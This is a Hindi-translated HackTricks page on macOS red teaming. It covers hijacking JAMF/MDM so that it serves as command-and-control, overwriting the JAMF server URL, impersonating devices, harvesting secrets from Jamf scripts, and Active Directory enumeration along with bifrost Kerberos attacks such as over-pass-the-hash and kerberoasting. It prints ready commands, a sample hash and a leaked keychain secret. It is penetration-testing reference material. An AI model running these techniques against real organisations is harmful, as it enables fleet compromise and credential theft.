hacktricks/macos-hardening/macos-red-teaming
2024-11-09 14:00:44 +00:00
..
macos-mdm Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:55:01 +00:00
macos-keychain.md Translated ['macos-hardening/macos-red-teaming/macos-keychain.md'] to in 2024-09-24 18:23:28 +00:00
README.md Translated ['README.md', 'generic-methodologies-and-resources/python/byp 2024-11-09 14:00:44 +00:00

macOS Red Teaming

{% hint style="success" %} AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें
{% endhint %}

अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें

महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है। हमारे 20+ कस्टम टूल का उपयोग करें ताकि हमले की सतह का मानचित्रण कर सकें, सुरक्षा मुद्दों को खोज सकें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

MDM का दुरुपयोग

  • JAMF Pro: jamf checkJSSConnection
  • Kandji

यदि आप प्रबंधन प्लेटफ़ॉर्म तक पहुँचने के लिए व्यवस्थापक क्रेडेंशियल्स से समझौता करने में सफल होते हैं, तो आप संभावित रूप से सभी कंप्यूटरों से समझौता कर सकते हैं अपने मैलवेयर को मशीनों में वितरित करके।

MacOS वातावरण में रेड टीमिंग के लिए MDMs के काम करने के तरीके की कुछ समझ होना अत्यधिक अनुशंसित है:

{% content-ref url="macos-mdm/" %} macos-mdm {% endcontent-ref %}

C2 के रूप में MDM का उपयोग करना

एक MDM को प्रोफाइल स्थापित करने, क्वेरी करने या हटाने, एप्लिकेशन स्थापित करने, स्थानीय व्यवस्थापक खाते बनाने, फर्मवेयर पासवर्ड सेट करने, FileVault कुंजी बदलने की अनुमति होगी...

अपने स्वयं के MDM को चलाने के लिए आपको अपने CSR को एक विक्रेता द्वारा हस्ताक्षरित कराना होगा, जिसे आप https://mdmcert.download/ के साथ प्राप्त करने का प्रयास कर सकते हैं। और Apple उपकरणों के लिए अपने स्वयं के MDM को चलाने के लिए आप MicroMDM का उपयोग कर सकते हैं।

हालांकि, एक नामांकित उपकरण में एप्लिकेशन स्थापित करने के लिए, आपको अभी भी इसे एक डेवलपर खाते द्वारा हस्ताक्षरित करने की आवश्यकता है... हालाँकि, MDM नामांकन के दौरान उपकरण MDM के SSL प्रमाणपत्र को एक विश्वसनीय CA के रूप में जोड़ता है, इसलिए आप अब कुछ भी हस्ताक्षरित कर सकते हैं।

उपकरण को MDM में नामांकित करने के लिए, आपको एक mobileconfig फ़ाइल को रूट के रूप में स्थापित करना होगा, जिसे एक pkg फ़ाइल के माध्यम से वितरित किया जा सकता है (आप इसे zip में संकुचित कर सकते हैं और जब इसे सफारी से डाउनलोड किया जाता है तो यह अनसंकुचित हो जाएगा)।

Mythic एजेंट Orthrus इस तकनीक का उपयोग करता है।

JAMF PRO का दुरुपयोग

JAMF कस्टम स्क्रिप्ट (सिस्टम प्रशासक द्वारा विकसित स्क्रिप्ट), स्थानीय पेलोड (स्थानीय खाता निर्माण, EFI पासवर्ड सेट करना, फ़ाइल/प्रक्रिया निगरानी...) और MDM (उपकरण कॉन्फ़िगरेशन, उपकरण प्रमाणपत्र...) चला सकता है।

JAMF स्व-संविधान

जांचें कि क्या उनके पास स्व-संविधान सक्षम है, जैसे https://<company-name>.jamfcloud.com/enroll/ पर जाएं। यदि उनके पास है, तो यह पहुँचने के लिए क्रेडेंशियल्स मांग सकता है।

आप पासवर्ड स्प्रेइंग हमले को करने के लिए स्क्रिप्ट JamfSniper.py का उपयोग कर सकते हैं।

इसके अलावा, उचित क्रेडेंशियल्स खोजने के बाद, आप अगले फॉर्म के साथ अन्य उपयोगकर्ता नामों को ब्रूट-फोर्स करने में सक्षम हो सकते हैं:

JAMF उपकरण प्रमाणीकरण

jamf बाइनरी में कीचेन को खोलने का रहस्य था जो खोज के समय सभी के बीच साझा था और यह था: jk23ucnq91jfu9aj
इसके अलावा, jamf /Library/LaunchAgents/com.jamf.management.agent.plist में LaunchDaemon के रूप में स्थायी रहता है।

JAMF उपकरण अधिग्रहण

JSS (Jamf सॉफ़्टवेयर सर्वर) URL जो jamf उपयोग करेगा, /Library/Preferences/com.jamfsoftware.jamf.plist में स्थित है।
यह फ़ाइल मूल रूप से URL को शामिल करती है:

{% code overflow="wrap" %}

plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist

[...]
<key>is_virtual_machine</key>
<false/>
<key>jss_url</key>
<string>https://halbornasd.jamfcloud.com/</string>
<key>last_management_framework_change_id</key>
<integer>4</integer>
[...]

{% endcode %}

तो, एक हमलावर एक दुर्भावनापूर्ण पैकेज (pkg) छोड़ सकता है जो स्थापित होने पर इस फ़ाइल को अधिलेखित करता है और URL को एक Mythic C2 श्रोता से Typhon एजेंट के रूप में सेट करता है ताकि अब JAMF का दुरुपयोग C2 के रूप में किया जा सके।

{% code overflow="wrap" %}

# After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0

# TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2

{% endcode %}

JAMF Impersonation

JMF के साथ एक डिवाइस और संचार का अनुकरण करने के लिए आपको आवश्यकता है:

  • डिवाइस का UUID: ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'
  • JAMF कीचेन: /Library/Application\ Support/Jamf/JAMF.keychain जिसमें डिवाइस प्रमाणपत्र होता है

इस जानकारी के साथ, एक VM बनाएं जिसमें चुराया गया हार्डवेयर UUID हो और SIP अक्षम हो, JAMF कीचेन डालें, Jamf एजेंट को हुक करें और इसकी जानकारी चुराएं।

Secrets stealing

a

आप /Library/Application Support/Jamf/tmp/ स्थान की निगरानी भी कर सकते हैं जहाँ कस्टम स्क्रिप्ट हो सकती हैं जिन्हें व्यवस्थापक Jamf के माध्यम से निष्पादित करना चाहते हैं क्योंकि ये यहाँ रखी जाती हैं, निष्पादित की जाती हैं और हटा दी जाती हैं। ये स्क्रिप्ट प्रमाण पत्र हो सकते हैं।

हालांकि, प्रमाण पत्र इन स्क्रिप्टों में पैरामीटर के रूप में पास किए जा सकते हैं, इसलिए आपको ps aux | grep -i jamf की निगरानी करने की आवश्यकता होगी (बिना रूट बने)।

स्क्रिप्ट JamfExplorer.py नए फ़ाइलों को जोड़े जाने और नए प्रक्रिया तर्कों के लिए सुन सकती है।

macOS Remote Access

और MacOS "विशेष" नेटवर्क प्रोटोकॉल के बारे में:

{% content-ref url="../macos-security-and-privilege-escalation/macos-protocols.md" %} macos-protocols.md {% endcontent-ref %}

Active Directory

कुछ अवसरों पर आप पाएंगे कि MacOS कंप्यूटर एक AD से जुड़ा है। इस परिदृश्य में आपको सक्रिय निर्देशिका को गणना करने का प्रयास करना चाहिए जैसा कि आप इसके लिए उपयोग करते हैं। निम्नलिखित पृष्ठों में कुछ सहायता प्राप्त करें:

{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %} pentesting-ldap.md {% endcontent-ref %}

{% content-ref url="../../windows-hardening/active-directory-methodology/" %} active-directory-methodology {% endcontent-ref %}

{% content-ref url="../../network-services-pentesting/pentesting-kerberos-88/" %} pentesting-kerberos-88 {% endcontent-ref %}

कुछ स्थानीय MacOS उपकरण जो आपकी मदद कर सकते हैं वह है dscl:

dscl "/Active Directory/[Domain]/All Domains" ls /

Also there are some tools prepared for MacOS to automatically enumerate the AD and play with kerberos:

  • Machound: MacHound एक Bloodhound ऑडिटिंग टूल का एक्सटेंशन है जो MacOS होस्ट पर Active Directory संबंधों को इकट्ठा करने और ग्रहण करने की अनुमति देता है।
  • Bifrost: Bifrost एक Objective-C प्रोजेक्ट है जिसे macOS पर Heimdal krb5 APIs के साथ इंटरैक्ट करने के लिए डिज़ाइन किया गया है। इस प्रोजेक्ट का लक्ष्य macOS उपकरणों पर Kerberos के चारों ओर बेहतर सुरक्षा परीक्षण सक्षम करना है, जो कि किसी अन्य फ्रेमवर्क या पैकेज की आवश्यकता के बिना मूल APIs का उपयोग करता है।
  • Orchard: Active Directory enumeration करने के लिए Automation (JXA) टूल।

Domain Information

echo show com.apple.opendirectoryd.ActiveDirectory | scutil

Users

MacOS उपयोगकर्ताओं के तीन प्रकार हैं:

  • स्थानीय उपयोगकर्ता — स्थानीय OpenDirectory सेवा द्वारा प्रबंधित, वे किसी भी तरह से Active Directory से जुड़े नहीं हैं।
  • नेटवर्क उपयोगकर्ता — अस्थायी Active Directory उपयोगकर्ता जिन्हें प्रमाणीकरण के लिए DC सर्वर से कनेक्शन की आवश्यकता होती है।
  • मोबाइल उपयोगकर्ता — Active Directory उपयोगकर्ता जिनके पास उनके क्रेडेंशियल्स और फ़ाइलों का स्थानीय बैकअप होता है।

उपयोगकर्ताओं और समूहों के बारे में स्थानीय जानकारी फ़ोल्डर /var/db/dslocal/nodes/Default. में संग्रहीत होती है।
उदाहरण के लिए, mark नाम के उपयोगकर्ता की जानकारी /var/db/dslocal/nodes/Default/users/mark.plist में संग्रहीत होती है और समूह admin की जानकारी /var/db/dslocal/nodes/Default/groups/admin.plist में होती है।

HasSession और AdminTo किनारों का उपयोग करने के अलावा, MacHound Bloodhound डेटाबेस में तीन नए किनारे जोड़ता है:

  • CanSSH - इकाई जिसे होस्ट पर SSH करने की अनुमति है
  • CanVNC - इकाई जिसे होस्ट पर VNC करने की अनुमति है
  • CanAE - इकाई जिसे होस्ट पर AppleEvent स्क्रिप्ट निष्पादित करने की अनुमति है
#User enumeration
dscl . ls /Users
dscl . read /Users/[username]
dscl "/Active Directory/TEST/All Domains" ls /Users
dscl "/Active Directory/TEST/All Domains" read /Users/[username]
dscacheutil -q user

#Computer enumeration
dscl "/Active Directory/TEST/All Domains" ls /Computers
dscl "/Active Directory/TEST/All Domains" read "/Computers/[compname]$"

#Group enumeration
dscl . ls /Groups
dscl . read "/Groups/[groupname]"
dscl "/Active Directory/TEST/All Domains" ls /Groups
dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]"

#Domain Information
dsconfigad -show

अधिक जानकारी के लिए https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/

Computer$ पासवर्ड

पासवर्ड प्राप्त करने के लिए:

bifrost --action askhash --username [name] --password [password] --domain [domain]

यह Computer$ पासवर्ड को सिस्टम कीचेन के अंदर एक्सेस करना संभव है।

ओवर-पास-दी-हैश

एक विशिष्ट उपयोगकर्ता और सेवा के लिए TGT प्राप्त करें:

bifrost --action asktgt --username [user] --domain [domain.com] \
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]

एक बार TGT इकट्ठा हो जाने के बाद, इसे वर्तमान सत्र में इंजेक्ट करना संभव है:

bifrost --action asktgt --username test_lab_admin \
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
--enctype aes256 --domain test.lab.local

केर्बेरॉस्टिंग

bifrost --action asktgs --spn [service] --domain [domain.com] \
--username [user] --hash [hash] --enctype [enctype]

प्राप्त सेवा टिकटों के साथ अन्य कंप्यूटरों में शेयरों तक पहुँचने की कोशिश करना संभव है:

smbutil view //computer.fqdn
mount -t smbfs //server/folder /local/mount/point

Keychain तक पहुँच

Keychain में संवेदनशील जानकारी हो सकती है जो बिना प्रॉम्प्ट उत्पन्न किए पहुँचने पर एक रेड टीम अभ्यास को आगे बढ़ाने में मदद कर सकती है:

{% content-ref url="macos-keychain.md" %} macos-keychain.md {% endcontent-ref %}

बाहरी सेवाएँ

MacOS रेड टीमिंग सामान्य Windows रेड टीमिंग से अलग है क्योंकि आमतौर पर MacOS कई बाहरी प्लेटफार्मों के साथ सीधे एकीकृत होता है। MacOS की एक सामान्य कॉन्फ़िगरेशन है OneLogin समन्वयित क्रेडेंशियल्स का उपयोग करके कंप्यूटर तक पहुँच प्राप्त करना, और OneLogin के माध्यम से कई बाहरी सेवाओं (जैसे github, aws...) तक पहुँच प्राप्त करना

विविध रेड टीम तकनीकें

सफारी

जब सफारी में एक फ़ाइल डाउनलोड की जाती है, यदि यह एक "सुरक्षित" फ़ाइल है, तो यह स्वतः खोली जाएगी। तो उदाहरण के लिए, यदि आप एक ज़िप डाउनलोड करते हैं, तो यह स्वचालित रूप से अनज़िप हो जाएगी:

संदर्भ

अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें

महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है। हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

{% hint style="success" %} AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें
{% endhint %}